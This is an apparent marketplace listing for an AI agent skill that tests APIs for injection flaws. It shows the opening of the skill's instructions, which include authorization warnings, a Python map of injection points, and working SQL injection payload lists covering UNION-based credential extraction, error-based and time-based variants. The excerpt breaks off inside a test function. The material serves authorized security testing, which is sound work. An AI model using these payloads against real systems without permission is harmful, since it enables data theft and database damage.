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exploiting-api-injection-vulnerabilities

Tests APIs for injection vulnerabilities including SQL injection, NoSQL injection, OS command injection, LDAP injection, and Server-Side Request Forgery…

Skill by 2003gdb

IndexedApache-2.0
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Works with Claude Code, Claude apps, Codex, Cursor, Gemini CLI, GitHub Copilot, VS Code, OpenCode, Goose, Windsurf. Read the repository before you give any tool access to your data.

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About

Tests APIs for injection vulnerabilities including SQL injection, NoSQL injection, OS command injection, LDAP injection, and Server-Side Request Forgery (SSRF) through API parameters, headers, and request bodies. The tester crafts malicious payloads targeting different backend technologies and injection contexts to extract data, execute commands, or access internal services. Maps to OWASP API8:2023 Security Misconfiguration and API7:2023 SSRF. Activates for requests involving API injection testing, SQLi in APIs, NoSQL injection, SSRF testing, or API input validation assessment.

Use cases: backend, testing, data, security

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What this skill can do and what it asks for, from its SKILL.md. Checked Oct 25, 2026.

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  • codeload.github.com · found in install command

Files it touches

  • ~/.claude/skills/exploiting-api-injection-vulnerabilities

What's inside

Skill name
exploiting-api-injection-vulnerabilities
Description
Tests APIs for injection vulnerabilities including SQL injection, NoSQL injection, OS command injection, LDAP injection, and Server-Side Request Forgery (SSRF) through API parameters, headers, and request bodies. The tester crafts malicious payloads targeting different backend technologies and injection contexts to extract data, execute commands, or access internal services. Maps to OWASP API8:2023 Security Misconfiguration and API7:2023 SSRF. Activates for requests involving API injection testing, SQLi in APIs, NoSQL injection, SSRF testing, or API input validation assessment.
License
Apache-2.0
Instructions
446 lines in SKILL.md · view on GitHub

Before installing

  • Instructions call the network

Files (1)

  • SKILL.md

SKILL.md (first lines)

# Exploiting API Injection Vulnerabilities

## When to Use

- Testing API endpoints that accept user input for database queries, system commands, or external requests
- Assessing APIs that interact with SQL databases, NoSQL stores (MongoDB, Redis), LDAP directories, or external URLs
- Evaluating input validation and parameterized query usage across all API endpoints
- Testing for SSRF where API parameters accept URLs or hostnames that trigger server-side requests
- Identifying injection points in headers, path parameters, query strings, and JSON/XML request bodies

**Do not use** without written authorization. Injection testing can modify or destroy data and compromise backend systems.

## Prerequisites

- Written authorization specifying target API and backend systems in scope
- Python 3.10+ with `requests` library
- SQLMap for automated SQL injection detection and exploitation
- Burp Suite Professional with Active Scan capabilities
- Knowledge of the backend database technology (MySQL, PostgreSQL, MongoDB, Redis)
- Isolated test environment to avoid production data corruption


> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

## Workflow

### Step 1: Injection Point Identification

```python
import requests
import json
import urllib.parse

BASE_URL = "https://target-api.example.com/api/v1"
headers = {"Authorization": "Bearer <token>", "Content-Type": "application/json"}

# Map all input points across the API
injection_points = [
    # Path parameters
    {"type": "path", "method": "GET", "url": "/users/{input}"},
    {"type": "path", "method": "GET", "url": "/products/{input}"},
    {"type": "path", "method": "GET", "url": "/orders/{input}"},
    # Query parameters
    {"type": "query", "method": "GET", "url": "/users?search={input}"},
    {"type": "query", "method": "GET", "url": "/products?sort={input}&order={input}"},
    {"type": "query", "method": "GET", "url": "/products?category={input}"},
    {"type": "query", "method": "GET", "url": "/search?q={input}"},
    # JSON body parameters
    {"type": "body", "method": "POST", "url": "/auth/login", "fields": ["username", "password"]},
    {"type": "body", "method": "POST", "url": "/users", "fields": ["name", "email"]},
    {"type": "body", "method": "POST", "url": "/search", "fields": ["query", "filters"]},
    {"type": "body", "method": "POST", "url": "/webhook", "fields": ["url", "callback_url"]},
    # Header parameters
    {"type": "header", "method": "GET", "url": "/users/me", "headers": ["X-Forwarded-For", "Referer", "User-Agent"]},
]
```

### Step 2: SQL Injection Testing

```python
# SQL injection payloads for different contexts
SQL_PAYLOADS = {
    "detection": [
        "'",
        "\"",
        "' OR '1'='1",
        "\" OR \"1\"=\"1",
        "1 OR 1=1",
        "' OR 1=1--",
        "' UNION SELECT NULL--",
        "1; WAITFOR DELAY '0:0:5'--",
        "1' AND SLEEP(5)--",
        "1)) OR 1=1--",
    ],
    "union_based": [
        "' UNION SELECT NULL,NULL,NULL--",
        "' UNION SELECT 1,2,3--",
        "' UNION SELECT username,password,NULL FROM users--",
        "-1 UNION SELECT table_name,NULL,NULL FROM information_schema.tables--",
    ],
    "error_based": [
        "' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version()), 0x7e))--",
        "' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--",
    ],
    "time_based": [
        "' AND SLEEP(5)--",
        "'; WAITFOR DELAY '0:0:5'--",
        "' AND (SELECT * FROM (SELECT(SLEEP(5)))a)--",
        "1; SELECT pg_sleep(5)--",
    ],
}

import time

def test_sql_injection(endpoint, param_name, param_type="query"):
    """Test a parameter for SQL injection."""
    results = []

    for category, payloads in SQL_PAYLOADS.items():
        for payload in payloads:
            start = time.time()

            if param_type == "query":
                url = f"{BASE_URL}{endpoint}"
                resp = requests.get(url, headers=headers,
                                  params={param_name: payload}, timeout=15)
            elif param_type == "body":
                resp = requests.post(f"{BASE_URL}{endpoint}",
                                   headers=headers,
                                   json={param_name: payload}, timeout=15)
            elif param_type == "path":
                url = f"{BASE_URL}{endpoint.replace('{input}', urllib.parse.quote(payload))}"
                resp = requests.get(url, headers=headers, timeout=15)

            elapsed = time.time() - start

            # Check for SQL injection indicators
            indicators = {
                "error": any(kw in resp.text.lower() for kw in [
                    "sql syntax", "mysql", "postgresql", "sqlite",

From 2003gdb/My-Claude-Workflows, Apache-2.0.

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Last commit (this folder)
May 16, 2026 (5 months ago)

From GitHub (fetched Oct 24, 2026).

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License
Apache-2.0
First seen
Oct 24, 2026
Last checked
Oct 24, 2026

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exploiting-api-injection-vulnerabilities skill. Agent Mart. https://agentmart.dev/skills/2003gdb-exploiting-api-injection-vulnerabilities (last updated 2026-10-24)